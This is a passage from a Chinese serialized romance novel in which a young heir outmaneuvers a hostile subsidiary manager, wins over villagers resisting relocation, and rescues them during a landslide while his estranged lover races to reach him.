他说着,猛地踩了一脚油门,几乎是超速从前面冲了过去。 刺耳的刹车猛地响起。 卡宴漆黑的车身几乎挡住了全部的去路,自动旋梯下,来人推着轮椅缓缓地下来。 西装革履,姿态矜贵,藏着金丝眼镜后的眼睛却像是草丛中的毒蛇,微微推了推镜框:“小舟,你要去哪啊?” 秦舟抬眸看了一眼。 秦家真正的掌权者,他的小叔——秦之昭。 “如果我没记错,你现在应该是在去往崇山的路上,跟约好的时间还有五个小时,我想你可以不用这么着急,等着司机在路上慢慢地开。” 秦舟一只手握着方向盘,神色淡淡:“你算错了,我还有五十七分钟。” “是我算错了还是你去错了路,”秦之昭微微眯起眼睛,“你真的要去见他?” “他难道不记得你当初在国外那五年是怎么过的,那个时候他在做什么?” “在跟他那些投怀送抱的小明星们喝酒飙车,寻欢作乐,这些你都不记得了吗?” 秦之昭搭在轮椅上的指尖动了动:“前两天你不是都看到了,他是怎么在酒桌和车行护着那个小男生的,一个随便找过来的玩具都比你重要。” “你在他眼中是什么,陌生人,还是恨不得将之踩在脚下的仇人?” 秦舟握着方向盘的手骨节泛白,秦之昭在心中冷笑,循循善诱:“我不是早就教过你,小舟。” “人没有权势的时候什么都不是,只有你足够强,足够厉害,才能将你想要的人牢牢地抓在手中。” “你想要他永远看着你,就要有足够的力量将所有碍事的家伙都清除掉,让他的身边只有你一个人。” “这样,你才能牢牢地抓着他,不是吗?” 秦舟终于转过头,目光沉沉:“我是只想去看他一眼。” “你看他?以什么身份?”秦之昭逼问,“他就算是真的伤了痛了,也有他的父亲他的朋友他的医生他的秘书,你算什么?” “我要去看他一眼。”秦舟依然道。 “秦舟!”秦之昭终于变得严厉起来,“你别忘了你哥哥是怎么死的!” “不管你们之前怎么样,你现在到底是姓秦!” 握在方向盘上的指骨收紧,电击椅上熟悉的惨叫声仿佛又一次回到了他的耳边,秦舟紧咬牙关,几乎是从喉咙中挤出这句话:“但你也说了,我没有家人。” 说罢,秦舟眼眸一凛,猛地一脚油门冲了出去,不要命般地冲破几辆车的包围。 “不用管他,”镜面反射出冷淡的光,秦之昭道,“如果他真的要冲过去,直接撞上去!” 他花了五年的心思调教出一个废人,如果秦舟不中用,那么他没有任何要留他的必要。 漆黑车身像是被激怒的雄狮般冲过去,几辆车立刻围追,可是就在即将撞上的一瞬间,秦舟猛地一把方向掉头,乔淮生当年教会他的一切依然融于骨血中。 车子像是回旋的镖身,在场中玩了个漂移,直直地停在了失去了保护的秦之昭面前。 汽车轮胎离轮椅只差一线,仿佛再往前一点,就能从面前的人身上碾过去,秦舟死死盯着面前的人,目光中是赤裸的威胁:“其他的我都可以按你说的做。” 他说:“但是前提是,他活着。” “秦舟!”秦之昭终于歇斯底里地起来,“难道没你看那一眼,他就会死吗?” “他会。”秦舟吸了口气,沉声道。 自从从电影节上见过那一面,秦舟总是不敢让自己睡得太深。 他总会想起乔淮生在那些缠绕的红色丝线里鲜血淋漓的样子,想起乔淮生手握刀刃站在血泊中,想起乔淮生从楼上跳下来,满身伤痕地去找他。 他不能把现在的乔淮生跟当初的一株干枯植物般的人联系在一起,好似没有人照料,就会像是遇到冬天一样迅速衰败下去。 乔淮生曾经有过抑郁症,乔淮生很渴望有爱他的家人,乔淮生总是敏感又脆弱,好像是少了一点点爱都会活不下去。 秦舟费了很大心思才将他重新照料好,像是饲养一株名贵的玫瑰,看着他在春日焕发生机。 他理所应当地以为全世界都该就此留在春天。 而现在,严冬竟然由他亲手带来。 “秦董,我们的协议依然有效,”秦舟的车子停在轮椅前,定定地注视着他,目光平静又疯狂,“但是他活着,这一切才有意义。” * 连开了三张罚单,秦舟终于得以在廊桥关闭之前赶上飞机。 但饶是如此,秦舟到达锦城的时候,天色已晚,大雨隔着玻璃落下来,整个机场都笼罩在一片水幕中。 接待的人是在路上就马不停蹄联系好的,只是跑过来的时候脚步很是匆忙:“秦总,您终于到了!” “跟您说的一样,乔淮生他确实在锦城,”那人顾不得喘气,就立刻道,“但是,但是,” “但是什么?” “但是分公司的人说他今早带人去山里视察,”那人看了眼窗外的大雨,“那里……刚刚经历了山体滑坡。” 秦舟心中重重一沉,几乎是大步朝着外面的人上跑去。 手指不停地播着当初的号码,时隔五年,乔淮生似乎并没有更换,只是一次次地拨出去,都因为长时间的无人接听而挂断,秦舟双目赤红,几乎是从擦着旁边的车冲出去。 电话终于拨通了。 “乔淮生!乔淮生?!” 电话那头只有滂沱的大雨声,那层雨好似隔着车窗渗进来,秦舟在车厢里都能感受到随之而来的刻骨寒意。 好半晌,听筒里才传来梦呓般的微弱呼救: “顾舟……我疼……”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 22-30 第22章 第二十二章 “来跟我一起送死?”…… 两天前。 “乔总, ”郁明上了车,语气沮丧, “那个莫骁还是不肯见我们。” 强龙压不过地头蛇,更何况是乔淮生这样一个被驱逐出京的太子。 锦盛地产是恒盛的一笔烂账,虽然恒盛明面上是最大股东,但是实际的执行权一直在现在的总裁莫骁的手上,公司的控制权跟控股权分离本来是正常的事,这么多年锦盛也一直是做着一个进贡藩王的角色——利润跟总部分成,其余的事情一概不过问。 可是现在, 乔南山把乔淮生放下来,想要把下放的权力收回来,可就不是那么容易的了。 放权容易收权难, 这是块硬骨头,所以乔南山才敢拿这个威胁乔淮生。 只是没人想到, 乔淮生居然愿意自己过来。 “没关系。”乔淮生也猜到自己会面临什么状况:“腿长在我自己身上,难道我不能去见他吗?” 车子在公司门口停下, 乔淮生抬手摘下墨镜, 跑车阔少, 还有那一张过分显眼的脸,想不惹人注意都是很难的。 乔淮生前脚刚刚踏进公司, 就有一群人追着过来:“乔总您要去哪?” “账目已经在七楼的财务部了,或者您要去九楼的休息区也可以,那里刚刚加装了泳池和影音厅, 不然我带人去陪您放松放松?” 秘书笑得彬彬有礼,可是那卡却是只刷到十楼的:“莫总他正在楼上开会,等会儿会议结束,立刻过来见您。” “怎么, ”乔淮生慢悠悠笑了声,“十楼之后我上不去?” “当然不是乔总,”这秘书也是个人精,“只是上面都是会议室,乔总您初来乍到对公司情况也不熟悉,还是等莫总结束了再向您汇报。” “他开的什么会?现在我才是公司的执行董事,没有我的表决,公司的决议他能一个人就能通过吗?” 秘书脸上的笑僵了一瞬,平时只听说这位乔总是个风流浪子,所以糊弄糊弄就能过去,现在看起来却并非如此,但再怎么说,这里是他们的地盘,乔淮生还能逞威风到哪里去? “公司有规定,会议时间任何人一律不准上去打扰,乔总一路舟车劳顿也累了,我还是先带您去十楼休息一下。” 乔淮生冷冷地看他一眼:“我问你,莫总在哪里?” “乔总何必为难我们呢,这真的是公司的……” “你被解雇了。” 乔淮生不再询问,只轻飘飘说了这么一句。 秘书意识到自己听到了什么,嘴唇开始变得发白:“乔……” “你来说,”但是乔淮生再也没有给他半个眼神,下巴一抬示意旁边跟着的经理,冷冷道,“莫骁在哪?” 经理被他那眼神吓了一跳,老老实实:“在,在十六层。” “刷卡。” 经理立刻刷了卡,看着乔淮生一路走上去,一把推开了会议室的门。 整个会议室的人一同抬起头来。 坐在首位的男人长相英挺,放在娱乐圈里估计立刻能去演个什么坏痞男二,指骨上还戴着一圈腹蛇纹身,闻声微一抬头:“乔总。” 乔淮生就那么出现在门口,他身后只有一个看起来刚毕业的小秘书,过分漂亮的长相让他看上去像是一只在台上被审视着的猎物。 可是乔淮生仿佛是早已习惯了这些目光,身姿挺拔矜贵,从来不往无关的人身上看一眼,只盯着最中央的目标:“想见莫总一面,可真是不容易啊。” “在开会没有顾得上看手机,底下的人招待不周,抱歉,”莫骁说,“我们正在开会,乔总有什么指示吗?” “当然有。” 乔淮生慢慢地走到他身上,一只手撑在桌上,居高临下地笑了笑:“不过既然说是指示,莫总是不是先要把位置让一下?” 莫骁磨了磨后槽牙,静静地看着靠近自己的这个漂亮美人,乔淮生眼尾的痣生动得像是一幅画,可是关于他的所有纨绔传言却因为这一面瞬间崩塌。 “当然。” 莫骁笑容不变,缓缓地站起身来,在乔淮生入座之后甚至还帮他扶了一下椅背,盯着那挺直腰背上的一段颈骨:“为乔总服务,是我的荣幸。” 乔淮生漫不经心转了一下手中的笔,等着莫骁落了座,这才扫视一圈台下:“我确实有两件事要说。” “第一件,”他看了眼旁边的莫骁,又淡淡地收回视线,“集团的总助刘响,滥用私权,阻碍公司董事正常行使权力,”他刻意加重了正常两个字,“我认为,这种越级行为在锦盛这样的优秀公司里不应该出现,决定予以刘响开除处分。” “有人有异议吗?” 谁不知道那刘响是莫骁的心腹,乔淮生现在这种做法,跟直接打在莫骁脸上没什么区别了。 但毕竟桥乔淮生一走,最后管他们的还是莫骁。莫骁自己碍于面子不说话,下面的那群可不能跟着沉默:“刘助他毕竟是公司的老人,我觉得还是……” “有异议也闭嘴。” 乔淮生淡淡地看了一眼他的脸,顺带扫了眼他桌上摆着的铭牌。 周寻被那样的眼神一扫,心中一跳,总觉得不太踏实。 “根据公司章程,除了影响公司发展的重大事项外,其余决议我都有一票否决权。” “周副总,”乔淮生道,“一个助理而已,应该算不上什么重大决议吧。” “那当然,”旁边的莫骁接过话。 自从他接手这个公司,这还是第一次坐在下位,充满侵略性的目光扫视过乔淮生裸露的每一寸皮肤,好像欣赏一株漂亮但带毒的植物,“乔总说得对,一个助理而已,算不上什么重要的事。” 他微一点头:“乔总决定就好。” 乔淮生扯了扯嘴角,没有跟他寒暄的意思:“那第二件事。” 他抬眼扫视了一圈这里,会议室宽敞舒适,窗明几净,越过玻璃可以俯瞰到整片城市:“我打算将这里作为我的办公室。” “公司有规定,开会的时候无关人等不得打扰。那既然这样,我就老老实实在会议室里待着,”乔淮生缓缓笑了下,“你说呢,莫总?” * “这位新来的太子爷还真不是个善茬,以前那些说法可真是小看他了。今天这一来,直接连给了两个下马威。” “莫总派秘书拦着不让他进会议室,他就把秘书开了把会议室改成办公室,真厉害啊,这不是就差扇莫总的脸了。” “这段时间可都小心点吧,我看莫总这回是真遇到对手了。” “行了行了,快别说话了,莫总都说了,让明天上班之前把办公室给布置好,赶紧搬桌子去吧。” “莫总,莫总,”刘响望着眼前的人,声线颤抖,“您不会真的就怎么不要我了吧,莫总,这些年我为你做了多少……” “闭嘴,”莫骁轻轻抚了下指节上的纹身,“急什么,等他走了,锦盛还不是我们的地盘。” “那就好,那就好。”刘响捏了把汗,忍不住添油加醋,“莫总,那个乔淮生,我看是来者不善啊。” “这种大少爷,找人应付他一下就行了,你怎么还真让他进公司啊。他以后我们开会他岂不是都要听着,让他以后一直坐在您前面吗?” “那不然呢,不让他进公司?”莫骁手中把玩着一把短匕,“你今天也看到了,最后是什么结果?” “那,那就看着他怎么嚣张下去啊?这公司明明一直是您在管!” “急什么。” 短匕猛地朝下,在木桌上划出一道白痕,莫骁手腕一转,却将那道痕迹继续划下去,渐渐地旋转成一个花瓣状:“他要管事,给他管不就行了。” “陵山那个项目不是还没进展,明天让人材料拿给他。” “陵山?”刘响想了想,“度假村那个?” “现在吗?这两天那里正是雨季,很容易出事吧。” 短匕在手上转了个圈,莫骁抬头看他一眼:“所以呢?” “我知道了!” 只需几息刘响就明白了莫骁的意思——容易出事,那不是正好,又没人逼着乔淮生要去,是他自己急着要做出成绩。 真要是因此出了事,那也只能怪太子爷命不好罢了。 “莫总放心,”刘响说,“我今天晚上就去把材料整理好,保准大少爷明天一早就能看到。” “不用你,不是已经被辞退了,为了不让大少爷起疑心,你还是回家歇几天吧。” 刘响脸一白,莫骁却已经勾勒完最后一笔,刀子一收叫来秘书: “去,叫人把我这张桌子送给乔总,就说我祝他……马到成功。” * 乔淮生的手指按在那凸出的花纹上。 莫骁的效率很高,不过才短短一天,昨天还空旷的会议室已经被填成了舒适的办公室。 前面的会客区放了两排沙发,中间还给了一套汝窑茶具,放了几株植物装点绿化。 还有乔淮生面前的这张桌子,听说是莫骁把自己办公室的桌子搬出来给他的。 “陵山度假村?”郁明把桌上的材料拿起来,“这案子积了这么久,他们自己都搞不定,拿给我们干嘛,难不成想让乔总你帮他们收拾烂摊子吗?” 刀刃雕刻的花纹很生动,看得出来这人的刀工很好,刻下时也用了十成十的力。 “就算是我们什么都不做,莫骁还敢不听我们的吗?” 花刻得是很漂亮,只可惜是水仙。 有毒,能死人。 “乔总,我们初来乍到,地方又不熟,真的要去吗?” “正是因为初来乍到,”乔淮生说,“如果不做出一点东西来,莫骁不说话,你以为他手下那群兵真的会听我的吗?” “只凭总裁一个人,可做不了一家企业。” “跟莫骁说,我要去陵山看项目。” 乔淮生将视线从那朵花上收回来:“但是出来初来乍到不通方言,想让周副总陪我一起去。” 他从来不怕威胁,当然也不怕挑战,既然他需要同盟,不如就找莫骁最忠实的伙伴。 乔淮生说完,这才看了面前的郁明一眼:“陵山离得远,你就别去了,先在这里摸摸情况。” “那怎么行!”郁明立刻跳起来,“我肯定是要跟乔总你一起的。” “如果我没记错的话,”乔淮生看着他稚气的眉眼,笑了笑,“你今年才二十三吧。” “是啊,怎么了乔总?” “没什么,只是想到前几天小雅她们讨论,说你妈妈又给你催婚了。” “哎呀别提了,”说起这个郁明就来气,“她老是爱瞎操心,从我上学的时候就这样,我才多大啊,现在就给我张罗着相亲了,上次还骗我说我爸闪了腰了……”说到一半,郁明猛地想起来,立刻澄清,“不过乔总您放心,我,我肯定是一切以公司为重的,我这个年纪怎么能没有事业心的,我已经做好了把一切献给公司的准备了!” 乔淮生轻轻地笑了声。 他看着郁明稚气未脱的脸,听他絮絮的抱怨,这些平淡到琐碎的幸福烦恼,是乔淮生从来没有经历过的。 他和傅芸……讲起来除了猎奇,好像并不能引起任何共情。 “没事,”乔淮生说,“你家不是锦城的吗?” 手指放在郁明肩上拍了拍:“放你两天假,就算是不想结婚也会去和爸妈说清楚。” “不要吵架。” * 周寻其实是很抗拒跟乔淮生一起过来的。 他在职场上混了十年,也算是公司的老人了。心里很清楚,这公司最后只会是落在莫骁的手上。 跟着乔淮生办事,办砸了大少爷肯定生气,办好了……少爷未必会记他的功,可在莫骁那边,可就有了叛徒的嫌疑。 因此周寻打定主意,除了写在文件上的东西,其余一问摇头三不知。 办事不必尽心,只要将少爷糊弄过去就可以。 不过出乎意料的,乔淮生压根没问他。 比起让他当什么向导更像是个挂件,一路上,乔淮生只是翻看着手中的材料,不然就是偶尔拿出手机发几条消息。 不知是看到了什么,居然还笑了。 不过……乔淮生笑起来确实很漂亮。 睫毛修长,那双眼睛垂下的时候好像是静谧湖泊里的一湾柳叶,秘书将邀请函发给他。 乔淮生回:“你替我去吧,跟往年一样的规格就行。” “不过不用太早。” 最好是宴至中场,等到秦舟都已经到了,等他有足够的时间,像他这么多年一样,回忆完他们的往昔,然后再听到自己的近况。 那时他的表情一定很精彩。 只可惜自己不能亲自看到了。 “乔总,就是这里了。” 司机停下车,乔淮生这才看了一眼远处的山村。 村子很漂亮,不远处群山皑皑,旁边还有一片波光粼粼的天然湖泊,植被茂盛,郁郁葱葱,实在是度假休闲的好地方。 锦盛投资这里也算是优质地皮,只是难在了拆迁。 不只是一户两户,是一整个山庄都不愿意搬。 他们不知是从哪得来的消息,说是村头有一个人下地的时候挖出来了金子,非要他们庄子里有什么龙脉宝藏,里面藏着的都是真金白银,公司来收他们的房子,就是为了抢他们地下的钱财,断他们的宝藏,宁可打架进局子也不愿意放手。 乔淮生的车子刚刚靠近,就有拎着锄头的人走过来,戒备地看了乔淮生一眼:“干什么的!” “我们都说了,不拆!你们要是真的有种,就从我们的身上踩过去啊!” 来人长了一截断眉,常年下地干活的身体看起来就肌肉虬结,整个人一脸凶相:“滚!快给我滚!不许进我们村子!” 司机吓了一跳,回头望:“乔总?” 车窗降下,露出一张漂亮昳丽的脸,乔淮生冷冷地看了男人一眼,抬步下了车:“行,我们不进去。” 他说完,示意旁边跟着来的司机:“老胡。” “两位就是这里居民吧,”老胡脸上带着笑,“你放心,我们乔总没什么意思,这不是快过节了,过来给大家发发福利。” “也不知道给大家买什么,”老胡从手中的箱子里摸出一沓包好的纸币,“就直接给大家发点钱得了,让孩子们买点喜欢的。” “乔总说了,每一个从今天来这儿的人,都能领到两千块钱的慰问金。” 有些钱打在卡上只是个数字,但是握在手里却是格外有分量的厚厚一沓,两千是一亩地半年的收成,不少人试探着往前一步,又被那个断眉给横了回来: “不行!不能去!” “别理他们!肯定又是想要什么东西骗我们!不能去!” “就是!他们花样那么多,万一趁机让我们签字画押什么的!都不许去!” 大人们望而却步,倒是有个孩子从人群中跑出来,像是没见过长得这么漂亮的人,好奇地望着乔淮生看了两眼。 “喜欢这个?”乔淮生看她盯着自己的玫瑰领针,于是抬手取了下来,“给你。” 小孩怯生生地跑了过来,乔淮生摸摸她的头:“你今年多大了?” “六岁。” “六岁已经长这么高啦,”乔淮生一抬手,“老胡。” 司机立刻将其中一沓钱拿过来,乔淮生递到小女孩手中:“来,拿着让妈妈买两身新裙子。” “乔总说了,”老胡趁机拿起喇叭,“今天只要过来的人,无论男女老少,一律发两千慰问金,不问名字不投票!仅限今天一个小时!” 小孩子对钱财又没什么概念,伸手接过来,还真的兴高采烈地回去找妈妈:“妈妈!你看!” 女人看到钱,嘴唇动了动,她和断眉那些不一样,男人出去打工,家里只有她和一个小女儿,终于忍不住举起手来:“我,我也可以吗?” “当然可以。”乔淮生彬彬有礼地笑起来。 没有任何的流程,钱就这样被送到了手上,就算是断眉再想拦,在真正看得到的金钱面前,还是没有人可以抵得过诱惑,越来越多的人从村里出来,街边甚至排成了长队: “那我,我也可以吗?” “我去年下地干活伤了腰,今年刚领了残疾证。” “还有我,我妈,她现在还瘫在床上,她也是我们村里的人。” …… 乔淮生一一给他们发了钱,既不因为谁年轻力壮而少给,也不因为谁家境贫寒而多发,说按人数就按人数,每个人不多不少,刚好两千。 “好了!”其他人都领了钱,唯有那刀疤脸始终不动,依然警惕地望着乔淮生,“现在钱也发了,你们可以滚了吧!” “不管你们怎么说,我们是不会卖庄子的!你们就死了这条心吧!” “先等一等。” 乔淮生看着聚集在村头乌泱泱的人群:“我听说,你们说这座山下有黄金。” “你看!我早就说他们是为我们的黄金来的!” 刀疤脸一声喊,众人的脸色立刻变得警惕起来:“不能把黄金给他们!” “他们就是想骗这座山下的金子,挖了是要断龙脉遭报应的!” “滚!快滚!” “山下有没有我确实不知道!” 乔淮生提高声量,单手打开身旁的行李箱:“但是在我这里,你们可以看得到真金白银!” 行李箱砰的一声打开,里面是一排排摆放整齐的金条,在阳光的照耀下熠熠生辉。 “这座山上的金子,你们应该自己也去挖过了吧,结果呢?真的有人成功了吗?” “当然,我不是想质疑各位的意思,”眼看着下面又要喧嚣,乔淮生抬起眼,“我只是想问你们一句。” “就算是真的有。” “先找到的和后找到的,出力多和出力少的?”乔淮生的目光扫视过拿着锄头目光凶狠的断眉,也望过躺在床上瘫痪的老人,“你们打算怎么分配呢?” 此言一出,断眉的脸色瞬间变了。 “大家不要听他的!这个人就是花言巧语!他就是想要骗你们!” “可是他说得对啊!难道大家都一样吗?” “怎么能一样!这几天都是我跟我哥巡山的,你们家除了等消息还干什么呢!” “那要是怎么说我家也离山最近呢!要是按距离分钱,肯定是我家的最多!” 有权有力气的都在前方争辩,可那些家里出不了人的只能往后缩了缩,惊恐地望着一群快要打起来的人。 “山下的金子我不能保证。” 可乔淮生的视线恰恰望向那一行人,他的嗓音温和,态度是在富贵堆里养出的得体,可并无任何傲慢,乔淮生从小就是很容易给人好感的那一类:“但是在我这里,” 他开口道:“每一户来我这里的人,都可以得到一样的金子。” “如果担心自己在最后的分金里得不到公平,担心山下的矿挖不出来,”众人的眼睛快要望进箱子里,乔淮生却啪的一声将箱子合上了,“我给你们一晚上的时间。” “今天晚上我会住在镇上。” “想明白的人,尽可以来找我。” 说完这话,乔淮生这才将箱子一扔,上了车。 周寻讶异地看着身边的人,他原以为乔淮生只是纸上谈兵的大少爷,可没想到乔淮生昨天对付莫骁有一套,今天在陵山又是另一套。 往常他们只顾着谈判提价,可乔淮生倒好,直接从他们的内部开始击溃,他用那些撒出去的钱拖了一个底,获取了他们对于公平的信任,却又让他们开始怀疑对彼此的信任。 这种玩弄人心的手段,实在是天才。 看起来这位跟他们莫总的争斗,还不知道谁输谁赢呢? 但是这和他又有什么关系呢? 只要不影响到他自己的利益,他们两个谁输谁赢,不是都要让他做这个稳定人心的两朝元老吗? “乔总真是好手段,”周寻笑了笑,“不过我这个人晚上觉熟,如果真的有什么事没能及时回应,还请乔总见谅。” “放心,”乔淮生笑了笑,“我是不会打扰周总。” 直到回到房间,乔淮生这才靠在门后,长长地出了一口气。 脸上撑出的笑容瞬间衰败下去,其实一个人如果不是真的开心的话,连笑都会变成一件很疲惫的事情。 父母、公司、秘书、项目…… 五年来,乔淮生的每一天好像都被这些填满,他抬手点了根烟,好像这样短暂的麻痹里能忽视现在所要承担的一切。 一根烟燃烧到指尖,乔淮生直起身来,终于回过神审视了一圈面前的屋子。 镇上最好的宾馆也很简单,只有一张床和一个小小的电视,空气中泛着陈旧的尘埃气息。 司机跟他反复确认过,用不用开远一点住到市区,乔淮生拒绝了。 乔淮生对住宿并没有太大的需求,而且……他本来也不怎么能睡着觉。 五年来,失眠的夜晚是大多数,一夜好眠才是可遇不可求的。 半夜就落起了雨,乔淮生半闭着眼睛靠在窗边,看着从窗台滴落的雨滴,在心中反复复盘计划——他喜欢所有事情都在掌握中的感觉。 秦舟现在,应该已经收到学校的邀约了吧。 想起这,乔淮生终于忍不住勾了下唇角。 “乔总!”房门砰得一声被拍响,来人似乎很着急,还在不停地叫着,“乔总!” “乔总!你睡了吗乔总!快出来!” 远山处一声惊雷般的巨响,乔淮生蓦地打开门,看到司机焦急地站在门外:“快,快走乔总!” “雨太大了,这山被他们挖得太多,已经开始滑坡了!” 乔淮生脸色一变:“周总呢?” “周总?他,他……”司机一转头,猛地拍了几下门,压根没有回应,周寻说他睡觉熟原来是真的。 “让开!” 乔淮生将人一拉,一脚踹开了周寻的门! 那人还在床上戴着他那定制的睡眠耳机,呼噜声能跟外面的雷声打个擂。 乔淮生叫都没叫,直接一杯冷水泼了上去。 “卧槽下雨了!!!”周寻猛地一把坐起来。 雨珠从他的脸上滑落,让整个人被滂沱大雨吞噬的夜色显得更为可怖,周寻站在他车前,身体抖个不停,喃喃自语: “怎么会下这么大的雨,怎么会下这么大的雨呢?” 乔淮生看他一眼,将钥匙从老胡手里要过来,自己去了驾驶座:“你们坐后面去。” “不行,乔总,这……” “我好歹跑过几场拉力赛,这种极端天气下的驾驶经验,你没有我丰富,”乔淮生迈开长腿上了车,“我想这种时候,我们应该尽可能为自己的安全负责。” “对对对!”周寻这个时候甚至顾不得什么上下级,连连点头,“让乔总开,快让乔总开。” 车子嗡得一声冲了出去,老胡在心里叹了口气。 跟了三年,他其实知道乔淮生为什么这么说。 因为相比起来……驾驶座才是最危险的。 乔淮生总是这样,不管是亲人、朋友、还是仅仅是雇佣的人,他总觉得自己应对所有与自己有关的人负责。 只是他自己呢,也没见什么人能照顾他。 老胡看了眼乔淮生那张年轻的脸……他也不过才二十多岁。 可是在这样生死的灾难中,他却并未表现出半分的恐惧,漂亮眸子紧紧盯着前方,右手猛地一把方向躲过碎石,车子整个往左边偏了一瞬。 “快!快走!”周寻大喊道,“我不能有事!我孩子还在家里等我,我不能有事!” “怎么会这样,明明之前出门的时候,小王跟我说过,这两天天气好好的,明明说了天气好好的!” 乔淮生看他一眼:“你们早知道这里的土地下大雨会滑坡?” 周寻浑身一震,可乔淮生没等他回答,直接下了结论:“小王是莫骁的人?” “不对,这不可能,我,我跟了他两年的,他怎么能……” “怎么能让你跟我来一起送死?”乔淮生嗤笑了声,“刘响也是他的心腹,他在会上保过他吗?” 周寻瞳孔瞬间睁大了。 “跟主子也要选清楚人,”乔淮生又是一把方向,积水像是溅起的瀑布,强迫周寻回过神来,“现在能救你的是我。” 白色的闪电滑在窗边,明明是九死一生的时刻,乔淮生却在这个时候放慢了车速,微微回过头:“我听说,莫骁之前为了拿地,拿融资的钱做了杠杆?” * 车子终于在空地上停下。 周寻一只手扶了下车门才走下来,整个人腿肚子都在发抖:“我知道的都告诉你了,乔总,你可不能不管我。” 乔淮生抬手将车上的应急标识拿下来:“把这个撑开,在这里等着,手机别用,有信号了再打电话,应该很快就会有人来救援。” “那你呢乔总,你干什么去?” 乔淮生看了一眼远处越来越浓重的山色: “那群村民还在里面。” 车子像是黑暗中返航的帆船,灯塔照亮了小小的一方天地,瘫痪的老太太占据了整个后座,小孩子蜷缩着坐在她的旁边,原本光鲜的商务车已经被大雨冲刷得陈旧,车身上全是淤泥和凹陷。 “老胡!你先带她们出去!” 乔淮生偏过头,问正在往外跑的村民:“里面还有人吗?!” “我不知道,我不知道,快走,龙脉断了!快走!快走啊!” 雨水像是蔓延的疾病流淌进村庄,乔淮生昳丽的脸因为体温的流失变得惨白,清点着跑出来的人数。 “不对,”过人的记忆力让他仅需要一遍就记住了白天过来的人群,“少了一个!” “有人知道刘志的家在哪里吗?” 偏长的头发被雨水打得湿透,西装裤脚上全是淤泥,所有人都在往外跑,只他一个冒着雨往里进。 “刘志!”乔淮生在心里迅速过着标志的建筑,猛地一把推开木门,“刘志!” 当初拿着锄头的断眉正站在庭院里,将被雨淋湿的桌子往屋里收,那可以称得上客厅的地方只有四堵墙和一方小小的矮桌,墙上还挂着一张全家福。 “你还在这里干什么?!”乔淮生吼道,“山洪一旦过来,会把这里都淹了的,快走!” 断眉一怔,看到乔淮生现在的样子,原本凶相的眉毛突然显出几分柔和:“我不会走的。” “你快走吧,别再来这里了。” “你在说什么?这座山下根本就没有金子,你为了钱连命都不要了吗?!” “我儿子还没回来。”断眉拿起墙上的全家福,用袖口擦拭着,“他四岁跟他妈妈出去玩,就再也没有回来过了。” “四岁……四岁肯定能记得家在哪里了,现在他妈也走了,我得在这里等他回来,我一定要在这里等他回来!” 乔淮生怔怔地看了眼那张全家福,小孩子被父母托举着站在中间,三个人脸上都是一片笑容。 如果这个孩子没有丢过,应该是个很幸福的小孩吧。 “你在这里等,他就能回来了吗?” 乔淮生说:“就算今天你死在这里,也什么都改变不了,我们正好推了你的房子盖度假村,那你儿子呢?” “他在这个世界上最后一个亲人也没有了。” “如果你真的想要他回来,”大雨冲刷眉眼,乔淮生一字一句道,“那就自己去找,自己去抢。” “坐以待毙是最没用的自我感动,想要的东西自己不去拿,难道指望别人送到你手上?” 乔淮生的语气恶劣,这甚至算不上任何安慰,但是断眉却蓦地转过头,听到乔淮生道:“我要是你,我就算是抱着孩子的照片从锦城最高的楼上跳下去,也不会让自己悄无声息地死在这里。” 脸部的肌肉剧烈抽动着,半晌,断眉终于把那张照片抱在了怀里:“你说得对,”肌肉因为用力绷紧地而鼓起,他又重复了一遍,“你说得对。” 人想要什么东西,就应该自己去争去抢。 他还得活着,活着去找儿子。 “走!我们快走!” 村子里的路已经被淹了大半,路上全是碎石和泥沙,两人凭着断眉对山路的熟悉才勉强下山。 乔淮生的体力不如断眉,速度也越来越慢,苍白的脸色好像是闪电划过的天幕,还好下岸就是泄洪口,眼看着已经到了大路上,乔淮生终于停下脚步:“好了,你先走吧。” 断眉回过头:“那你呢?” “我司机马上就回来接我了。”乔淮生靠在旁边的树,无所谓地笑了笑,“你出来就行了,总不能还要让我送你过去吧?” 虽然身上满是雨水狼狈,可乔淮生的姿态总是说不出的富贵骄矜,连那耸肩也变成一种过分刻意的炫耀:“还是说,你想坐我的直升机?” 等那人彻底走了,乔淮生这才收了笑容,身体再也支撑不住,缓缓地靠着树干倒了下来。 在这样的淤泥里坐在地上实在是个不雅观的事情,但是他已经没有力气再按照从小所受的教育整理仪表,微微垂下头,面无表情地将扎进小腿里的玻璃取了出来。 鲜血将掌心打得黏腻,又很快被下落的雨水冲走了。 所有的人都安顿好了吗? 所有的事情都结束了吗? 你今天也做好了所有应该做的事情了吗? 嗯,很好了,很好了。 虽然没有人夸奖自己,但是已经很好了。 真好啊,每个人都有自己可以在乎和惦记的人。 这个世界上还有人在惦记着自己吗? 应该……还有吧? 手机泡了水,屏幕已经开始变得不灵敏,信号也断断续续,那不断闯进来的消息像是救援时每一次闪烁的曙光。 可是乔淮生任由那个沉寂了五年的号码闪过了又熄灭。 说实话,他实在很讨厌现在这种失控的感觉。 身体、救援、生死……这种等待着别人拯救自己的样子。 比起这个,乔淮生更愿意那些疼痛是由自己给予。 但是没关系,他愿意给他死去的爱人一个重生的机会。 铃声响过第五遍,乔淮生的指甲按进伤口,强迫自己打起精神,可声音却像是下意识的呢喃: “顾舟……我疼……” 说完这句话,乔淮生这才任由自己闭上眼睛,失血与失温让他的脸色变得苍白,乔淮生靠着树,缓缓地倒了下去。 第23章 第二十三章 “嗯……啊……”…… “喂, 醒醒!” 乔淮生很想睡觉,但是有人拍着他的脸, 力气很大,一只手将他从地上拉了起来。 乔淮生半眯着眼睛,看到去而复返的断眉,他不知道从哪拿了根绳子,将快要失去意识的人牢牢地捆在自己身上,背起乔淮生就要往外走:“别睡!坚持一下,我带你去找人。” “你……”乔淮生勉强半睁开眼睛, “你别……” “太远了……你一个人……” 一个人走过去都尚且吃力,更何况是还要背着另一个人,断眉的一只脚都陷进了淤泥里, 浑身的肌肉绷紧,在雨幕里留下深重的喘息。 乔淮生语气很虚弱, 却掐了下掌心,强迫自己打起精神, 报了一串号码:“这个人有点门道……你去找他……找你儿子……” 断眉眼尾一红:“都这种时候了你还说这个!” 正是因为这种时候, 乔淮生才不想欠任何人的人情:“你把我放在前面……” “你在说什么?!”断眉双目圆瞪, 忍不住打断他,“你这样年纪的娃娃, 难道就没有父母亲人,他们不会担心吗?” “他们……”乔淮生勉强睁开眼睛,苍白地笑了声。 他们应该不会担心自己吧。 那么如果他死去了, 这个世界上还会有谁为自己哭泣吗? 耳边又听见那喋喋不休的铃声了,好吵。 这个时候还要一直锲而不舍地打电话过来的,应该只有一个人了吧。 